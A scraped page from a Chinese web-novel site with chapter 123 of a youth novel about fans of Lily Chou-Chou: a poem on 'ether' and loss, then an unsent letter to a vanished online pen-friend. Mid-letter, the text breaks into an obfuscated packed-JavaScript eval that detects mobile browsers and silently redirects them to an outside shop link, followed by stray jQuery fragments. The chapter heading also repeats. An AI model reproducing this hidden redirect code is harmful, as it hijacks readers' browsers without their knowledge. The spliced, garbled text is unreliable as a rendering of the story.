文趣网 > 都市小说 > 《绒茧是少年的棺椁》 > 123. 第 123 章
    第一百二十三章:青苹果与以太的挽歌

    青苹果是酸涩的

    是还未成熟的欲望

    是挂在枝头最高的那一颗

    谁也够不着

    谁都想咬一口

    咬一口

    牙齿就会打颤

    眼泪就会掉下来

    掉在泥土里

    长出一株名叫孤独的藤蔓

    以太是看不见的

    是风吹过麦田时的低语

    是耳机里流淌出的蓝色河流

    是我们在无人知晓的深夜里

    交换的

    那些破碎的

    闪着微光的

    秘密

    红色是绝望的以太

    是津田在雨中奔跑时

    溅起的泥点

    是她从高压电塔上

    纵身一跃时

    划破天空的

    那道凄艳的弧线

    是血

    是盛开在黑色大地上的

    最后一朵花

    蓝色是希望的以太

    是莲见站在麦田中央

    仰望天空时的眼神

    是青猫在论坛里

    打出的每一行字

    是那张被撕碎的

    莉莉周演唱会门票

    飘散在风里

    像一群迷路的

    蓝色蝴蝶

    绿色是嫉妒的以太

    是星野眼中

    扭曲的火焰

    是他挥舞着镰刀

    收割快乐时

    麦浪翻滚的

    颜色

    是他把善良

    一点一点

    啃食殆尽的

    痕迹

    白色是虚无的以太

    是教室里的日光灯

    惨白的

    没有温度的

    光

    是久野指尖下

    德彪西的旋律

    是我们在拥挤的人群中

    互相擦肩

    却看不见彼此的

    面孔

    我们在以太中相遇

    我们在以太中迷失

    我们是漂浮在虚空里的

    尘埃

    我们是渴望飞翔的

    鸵鸟

    我们是

    关于莉莉周的一切

    麦田依旧在

    一年又一年

    绿了又黄

    黄了又绿

    像一场

    永远不会结束的

    轮回

    少年们来了又走

    走了又来

    带着他们的

    青苹果

    和

    无法言说的

    秘密

    莉莉周的歌声

    还在继续

    穿过云层

    穿过麦浪

    穿过我们

    空荡荡的胸膛

    填补着

    那些

    名为“缺失”的

    黑洞

    以太

    以太

    你是救赎

    你是毒药

    你是

    我们

    回不去的

    故乡

    第一百二十三章:致以太中未曾谋面的你

    见信如晤。

    我是在一个下雨的午後写下这些字的。窗外的雨声很轻,像无数根针落在旧绸缎上。耳机里正在放《阿拉伯风格曲第一号》,不是德彪西的原版,是莉莉周在出道前地下时期用合成器重新编曲的那个版本。你应该知道我说的是哪个版本。在2分17秒的地方,有一段像是老式收音机调频时的杂音,然后她的声音会突然浮出来,像溺水的人抓住一根稻草。我反覆听这段,听了四十三遍。桌上摆着喝了一半的麦茶,冰块早就化光了,杯壁上凝着的水珠正一颗一颗往下掉,在数学笔记上晕开一个个深灰色的圆。

    第一次知道你的存在,是在“莉莉周の以太”论坛的古典音乐版块。那时讨论串的主题是“你心中最能代表‘消失’的古典乐片段”。大多数人都在说马勒,说肖斯塔科维奇。你在第三百七十四楼贴了一行字:

    “福雷的《悲歌》,大提琴版本。不是因为它悲伤,是因为它在第三小节第二个音符那里,声音突然变得很薄,像一张被水浸透的纸,马上就要破了,但终究没有破。那种‘快要消失但还差一点点’的状态,才是真正的消失。”

    后面跟着一个音频文件的时间戳。我点开听了。在那个你所说的音符处,我按下了暂停键。耳机里一片寂静,只有电流细微的白噪音。我忽然觉得,我的人生好像就一直卡在这个音符上——永远在快要消失但还差一点点的状态里。既没有彻底消失的决绝,也没有继续存在的实感。只是悬浮着。

    从那以后,我开始注意你的ID。你的头像是莫奈《睡莲》系列里最不起眼的一幅,那些模糊的紫色和绿色混在一起,像视野散光时看到的世界。你很少发帖,但每次回覆都出现在讨论串快要沉下去的时候,像是刻意选择在无人关注的时刻发言。你说你讨厌所有标题明确的音乐,只爱听那些名字暧昧不明的作品,比如萨蒂的《裸体歌舞》,比如武满彻的《雨打芭蕉》。你说“裸体”不是重点,“歌舞”才是;你说“雨”不是重点,“打”这个动作才是。我盯着屏幕看了很久,想象你打这些字时的表情。应该是没有表情的。

    我们第一次对话,是因为一个关于“重复”的帖子。楼主问:为什么莉莉周在《共鸣(空虚的石)》里要把同一句歌词重复十七遍?有人说这是工业社会的异化,有人说这是对消费文化的反讽。你在深夜两点十四分回覆:

    “因为有些伤口,需要反复撕开同一个地方,直到那里长出一层比皮肤更坚韧的茧。十七次,不多不少,刚好够结一层薄薄的、透明的茧。从此那个地方既不会痛,也不会再流血,但也不再是原来的皮肤了。”

    我几乎是颤抖着手在下面跟帖:“那你结了几层茧?”

    你隔了三天才回覆。那三天里,我刷新了四百多次页面。你只回了一个数字:“7”。

    我对着屏幕笑了。笑着笑着,眼泪就掉了下来。我不知道为什么。也许是因为在这个所有人都急于展示伤口、消费痛苦的时代,有人用如此冷静的方式计算着自己结茧的次数。像在记录一种缓慢的、无人知晓的愈合。

    后来我们开始私信。不频繁,一周一两封,像某种心照不宣的仪式。你从不问我的真实姓名、年龄、住在哪里。你只谈论音乐。你说你住的地方附近有一个废弃的钢琴厂,每到下雨天,雨水敲打那些废弃的铁皮屋顶和生锈的琴弦,会发出类似preparedpiano的声音。你说你录过一段,但永远不会分享给任何人,因为“有些声音一旦被记录,就死了”。我信。我完全相信。就像我从未告诉你,我房间里那扇朝西的窗户,每到傍晚时分,阳光会把对面楼房玻璃幕墙的反射光投在天花板上,形成一片晃动的、金色的水纹。我躺在床上一看就是几个小时,觉得自己是沉在海底的潜水员,看着头顶那片永远无法触及的、波光粼粼的水面。这片光,我也从未拍下过。

    你告诉我,你习惯用左手写字,但弹钢琴时用的是右手主导。你说这让你感觉自己的身体里住着两个不完全同步的人。“一个在记录,一个在演奏。记录的那个人总是慢半拍,所

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567043|204797||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    以演奏出来的东西,永远带着一种追忆般的失真。”我回信说,我懂。就像我每次回忆起某个场景,记忆里的光线总是比实际更柔和,声音总是更远,像是隔着一层毛玻璃。我说,也许我们记住的从来不是事件本身,而是事件在记忆中一次次折射、变形后的虚像。你回了一个“嗯”。然后说:“所以莉莉周唱的,也许不是青春,是青春在多年后回忆里发酵出的气味。那种气味里,铁锈和血的味道,总是比花香更持久。”

    我们讨论过最深的一次,是关于“消音”。你说你最着迷的音乐处理,不是华丽的炫技,而是某个声部突然的静默。比如巴赫的《哥德堡变奏曲》里,有时左手会彻底停止几小节,只剩右手的单旋律悬在半空。“那不是休息,是制造一个声音的黑洞,让之前所有的音符都坠入其中,获得新的重量。”我那时正在听你推荐的曲子,是约翰·凯奇那首著名的《4分33秒》。我说,但这首曲子根本没有音符。你在凌晨四点回信:

    “有的。音符在观众席的咳嗽声里,在椅子轻微的挪动声里,在外面的车流声里。凯奇把乐谱擦掉了,于是整个世界的声音都成了乐谱。最高的技巧,是让自己消失,让位给所有原本被认为‘不是音乐’的声音。”

    我盯着这段话,直到天光把窗帘染成灰蓝色。我忽然明白了你为什么喜欢莉莉周。她的歌声里,总是有一种克制的、近乎残忍的“让位”。不是声嘶力竭的宣泄,而是在情绪的顶点,突然收住,留出一片巨大的空白。那片空白里,填满了所有未能说出口的东西。

    我们的通信持续了十一个月。像两个在黑暗房间里摸索的人,靠声音辨认彼此的方向。我们从未交换过照片,从未说过“见面吧”。有一种默契是,有些关系,必须停留在以太里,一旦落地,就会摔得粉碎。就像你不能把耳机里的音乐外放,有些频率,只适合在颅骨内共鸣。

    直到上个月,你发来最后一封私信。没有署名,没有问候。只有一行字:

    “我要去一个收不到信号的地方。也许很久,也许永远。保重。”

    附件里是一个音频文件,没有命名,格式是很少见的.flac。我下载了,但一直没有点开。它就那样安静地躺在我的硬盘里,像一个沉睡的炸弹,一个被封存的宇宙。我知道,一旦我按下播放键,某些东西就真的结束了。只要我不听,你就还没有完全离开。你就还活在那段未启封的音频里,活在“将要被听到”的永恒预期中。

    昨天放学时,经过那条河边的小路。风很大,吹得岸边的芦苇向着同一个方向倒伏,发出海潮般的声响。我忽然想起你说过,你讨厌对称的美,只爱看被风吹乱的头发、快要倾倒的自行车、散了一地的乐谱。你说“整齐是死亡的先兆,混乱才是活着的证据”。那一刻,风钻进我的校服衬衫,鼓荡起来,我错觉自己会就这样被吹走,吹到你不知道的什么地方去。

    耳机里,莉莉周在唱《飞行船》。她的声音像是从很远的水底浮上来:

    “即使明天世界就要融化/在今日的积雨云中/也有我们曾经活过的证据……”

    我蹲下来,在泥地上用手指写了一个“7”,又迅速用脚抹掉。我不知道这算不算结了一层新茧。我只知道,有些话,一旦说出口就失去了魔力。所以我把它们写在这里,用这种永远不会寄出的方式。写给我们之间那些未曾谋面的、在以太中交汇的瞬间。写给那些在歌曲切换间隙的空白里,悄然生长的东西。

    雨好像停了。窗外的世界被洗成一片湿润的灰色。麦茶彻底凉了。我该按下播放键了。

    再见。或者,不再见。

    你永远的,

    以太中的陌生人